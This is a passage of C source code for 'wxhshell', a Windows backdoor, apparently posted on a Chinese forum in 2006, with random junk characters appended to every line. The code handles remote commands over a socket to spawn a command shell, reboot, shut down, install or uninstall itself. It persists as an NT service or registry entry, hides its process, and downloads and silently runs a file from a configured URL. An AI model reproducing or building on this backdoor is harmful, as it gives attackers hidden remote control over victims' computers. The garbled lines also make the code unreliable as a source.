  else { B^sHFc""V  
9\[A%jp#K@  
    switch(cmd[0]) {  gC}D0l[  
  'P5|[du+  
  // 帮助 kFF)6z:2  
  case '?': { W_z?t;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^7&0P m  
    break; M/^kita  
  } 2gbMUdpp  
  // 安装 ~TEKxgU  
  case 'i': { kN,WB  
    if(Install()) /]*#+;;%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A`qb5LLJ)  
    else 2e @zd\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |`yzH$,F  
    break; 8GD!]t#  
    } ]VS$ ?wD  
  // 卸载 =\l7k<  
  case 'r': { M`kR2NCi  
    if(Uninstall()) 6X.lncE@p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !rMl" Y[  
    else :g[G&Ds8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  zOnQ656  
    break; Ug|o ($CY  
    } C5jR||  
  // 显示 wxhshell 所在路径 _Ak?i\  
  case 'p': { T c{]w?V  
    char svExeFile[MAX_PATH]; =2=n   
    strcpy(svExeFile,"\n\r"); MJ:>ZRXC E  
      strcat(svExeFile,ExeFile); :,^pLAt  
        send(wsh,svExeFile,strlen(svExeFile),0); q$=EUB"C  
    break; >@o}l:*  
    } #Ua+P(1q  
  // 重启 ,lly=OhKb  
  case 'b': { %wp#vO-$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #815h,nP+  
    if(Boot(REBOOT)) @|^2 +K/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Ow-o0  
    else { bUp ,vc*  
    closesocket(wsh); hA81(JWG  
    ExitThread(0); r&|-6OQZZ  
    } VIxt;yE  
    break; kGZ_/"iuO  
    } (]mh}=:KDg  
  // 关机 *0,?QS-a  
  case 'd': { =Xc[EUi<;g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )2 P4EEs[  
    if(Boot(SHUTDOWN)) 6QOdd 6_d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y'<juaw  
    else { 3=r8kh7,  
    closesocket(wsh); n_n0Q}du  
    ExitThread(0); aQEMCWxZ  
    } J0U9zI4  
    break; +{j? +4(B  
    } 43;@m}|7$  
  // 获取shell Eqg(U0k0  
  case 's': { @:~O  
    CmdShell(wsh); aO]0|<2 j  
    closesocket(wsh); kxg]sr"  
    ExitThread(0); '`Smg3T!~S  
    break; {t$ vsR  
  } Odr@9MJ  
  // 退出 k]Y#-Q1p~  
  case 'x': { `1NxS35u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :I5]|pt  
    CloseIt(wsh);  OT9\K_  
    break; !j)H !|R  
    } lq$1CI  
  // 离开 gq6C6   
  case 'q': { [Pdm1]":(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \"qXlTQ1_9  
    closesocket(wsh); $+<X 1  
    WSACleanup(); jG0{>P#+  
    exit(1); +_?;%PKkuF  
    break; TIV1?S  
        } PZF>ia}  
  } d{f3R8~Q.  
  } _gY so]S^B  
KZL5>E  
  // 提示信息 @$~ BU;kR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FG~p _[K  
} & CiUU  
  } Hm+-gI3*  
,XW6W&vR;  
  return; Lrr^obc  
} fz W%(.tc\  
2FO.!m  
// shell模块句柄 _1c'~;  
int CmdShell(SOCKET sock) '?5=j1  
{ *0y+=,"QU  
STARTUPINFO si; ? kew[oZ  
ZeroMemory(&si,sizeof(si)); 5( lE$&   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9jiZtwRpk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AjaG .fa]k  
PROCESS_INFORMATION ProcessInfo; aI|<t^X  
char cmdline[]="cmd"; &tKs t,UR8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <}%>a@  
  return 0; &j/ WjZPF  
} +b] g;  
M"K$81  
// 自身启动模式 :eI .E:/'  
int StartFromService(void) vZC2F  
{ x!q$`zF\\  
typedef struct vhEPk2wD,  
{ g?M\Z";  
  DWORD ExitStatus; ^"ywltW>  
  DWORD PebBaseAddress; $.(>Sj1  
  DWORD AffinityMask; O@3EJkv  
  DWORD BasePriority; 9c806>]U^  
  ULONG UniqueProcessId; (^eSm]<  
  ULONG InheritedFromUniqueProcessId; !xMyk>%2  
}   PROCESS_BASIC_INFORMATION; I?"cEp   
_{,e-_hYM  
PROCNTQSIP NtQueryInformationProcess; MyuFZ7Q4$  
'oHtg @  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QQ97BP7W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >  K,Q`sS  
K(Otgp+zb  
  HANDLE             hProcess; C$)#s{*  
  PROCESS_BASIC_INFORMATION pbi; !l_ 1r$  
A75IG4]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p[&'*"o!/  
  if(NULL == hInst ) return 0; IQdiVj  
D<}KTyG]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oj@B'j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Gw3|"14  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Te2XQU2,F  
ZSYXUFz  
  if (!NtQueryInformationProcess) return 0; D(}v`q{Y  
npz*4\4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); suaTXKjyk+  
  if(!hProcess) return 0; S8<O$^L^  
R{@WlkG}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hti)<#f  
"VkraB.i  
  CloseHandle(hProcess); $t-HJ<!  
LKxyj@Eq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zF(I#|Vo  
if(hProcess==NULL) return 0; s9qr;}U.`  
j; 1X-  
HMODULE hMod; &~G>pvZ  
char procName[255]; \x)T_]Gcm  
unsigned long cbNeeded; zXvAW7  
;-@^G 3C:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); . 5|wy<  
E@R7b(:*  
  CloseHandle(hProcess);  HlPf   
Kw&J< H  
if(strstr(procName,"services")) return 1; // 以服务启动 'wLQ9o%=p|  
^ {-J Y  
  return 0; // 注册表启动 +QuaQ% lA  
} g-meJhX%  
Am!$\T%2  
// 主模块 &BCl>^wn}  
int StartWxhshell(LPSTR lpCmdLine) ,#UaWq@7  
{ Tw`^  
  SOCKET wsl; Jp xJZJ  
BOOL val=TRUE; (m=-oQ&Ro  
  int port=0;  MI!C%  
  struct sockaddr_in door; EG59L~nM  
}Hrm/Ni  
  if(wscfg.ws_autoins) Install(); WWc{]R^D  
CG@ LYN  
port=atoi(lpCmdLine); F%lP<4Vx  
X|7gj &1  
if(port<=0) port=wscfg.ws_port; %-i2MK'A  
QgC  
  WSADATA data; jw5Bbyk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B:a&)L wp0  
%[-D&flKC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Sh*LD QL<?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /{d7%Et6  
  door.sin_family = AF_INET; ,S2D/Y^>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H{E223  
  door.sin_port = htons(port); d5\w'@Di  
c@~\ FUr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 65\'(99y U  
closesocket(wsl); *rK}Ai  
return 1; w8kp6_i'  
} VW I{ wC  
=\ iV=1iB  
  if(listen(wsl,2) == INVALID_SOCKET) { 6^s=25>p  
closesocket(wsl); :7<spd(%"  
return 1; ,*Tf9=z  
} .4Jea#M&x  
  Wxhshell(wsl); `Ou\:Iz0u  
  WSACleanup(); zdzTJiY2[Z  
4H]Go~<  
return 0; Im+<oZ  
8{8J(~  
} ,mhO\P96ik  
OSK 3X Qc  
// 以NT服务方式启动 #O/ihRoaO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s}uOht} o  
{ /d&zE|!  
DWORD   status = 0; LS+ _y <v=  
  DWORD   specificError = 0xfffffff; mMS%O]m,|  
kTT!gZP$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /G9wW+1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7;) T;X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -[|R \'i  
  serviceStatus.dwWin32ExitCode     = 0; "H" 4(3  
  serviceStatus.dwServiceSpecificExitCode = 0; ;x$,x-  
  serviceStatus.dwCheckPoint       = 0; Jv %, v?  
  serviceStatus.dwWaitHint       = 0; 2)Grl;T]s  
uwXquOw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U ]`SM6  
  if (hServiceStatusHandle==0) return; eqb8W5h'  
A7 qyv0F  
status = GetLastError(); ']WS@MbJ  
  if (status!=NO_ERROR) u K6R+a  
{ MxD,xpf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B+#!%J_  
    serviceStatus.dwCheckPoint       = 0; mFw`LvH?*  
    serviceStatus.dwWaitHint       = 0; KbQ UA$gL=  
    serviceStatus.dwWin32ExitCode     = status; 2%'{f  
    serviceStatus.dwServiceSpecificExitCode = specificError; `|P fa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  5f(yF  
    return; n#Q;b Sw  
  } --4,6va`e  
3s<~}&"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zt/b S/  
  serviceStatus.dwCheckPoint       = 0; p#wQW[6  
  serviceStatus.dwWaitHint       = 0; (/Lo44wT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6oMU) DIa  
} SMY,bU'a  
e;GLPB   
// 处理NT服务事件,比如:启动、停止 26.),a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RSC^R}a5  
{ NGcd  
switch(fdwControl) SU~t7Ta!G  
{ 9=O`?$y  
case SERVICE_CONTROL_STOP: l=ehoyER  
  serviceStatus.dwWin32ExitCode = 0; ~[l6;bn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fb3(9  
  serviceStatus.dwCheckPoint   = 0; 6c,]N@,Zw  
  serviceStatus.dwWaitHint     = 0; As }:~Jy|  
  { ?{[ ISk)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +!h~T5Ck  
  } {+%|n OWV  
  return; l2vIKc  
case SERVICE_CONTROL_PAUSE: dmI~$*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  +:k Iq  
  break; YRa{6*M  
case SERVICE_CONTROL_CONTINUE: g X75zso  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @M-i$ q[4  
  break; F7P?*!dx  
case SERVICE_CONTROL_INTERROGATE: KX D&FDkF  
  break; M3P\1  
}; yB0xa%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); : 8dQ8p;  
} %Hx8%G!  
_uwM%M;  
// 标准应用程序主函数 /~~aK2{^X~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h+=xG|1R[5  
{ v EppkS U1  
-< D7  
// 获取操作系统版本 yw2Mr+9I  
OsIsNt=GetOsVer(); $c"byQ[3S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]^j:}#R  
wX5Yo{  
  // 从命令行安装 2[!#Xf  
  if(strpbrk(lpCmdLine,"iI")) Install(); hEUS&`K  
J<hqF4z  
  // 下载执行文件 :/UO3 c(  
if(wscfg.ws_downexe) { ko<u0SjF)u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9 Rl-Jz8g  
  WinExec(wscfg.ws_filenam,SW_HIDE); B=14 hY@`  
} T'_#Dwmj*  
=h5&:?X  
if(!OsIsNt) { KYa}k0tVAp  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q+@/.qJ  
HideProc(); [A~n=m5H  
StartWxhshell(lpCmdLine); zntvKOIh  
} m}Xb#NAF8  
else Q^13KWvuV  
  if(StartFromService()) *Z}^T:3iw}  
  // 以服务方式启动 i!0w? /g9  
  StartServiceCtrlDispatcher(DispatchTable); RN:VsopL  
else "/H B#  
  // 普通方式启动 7Z%EXDm4/c  
  StartWxhshell(lpCmdLine); }_Y&kaM  
~5`p/.L)ZD  
return 0; = VIU  
}
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只看该作者 1 发表于: 2006-10-10
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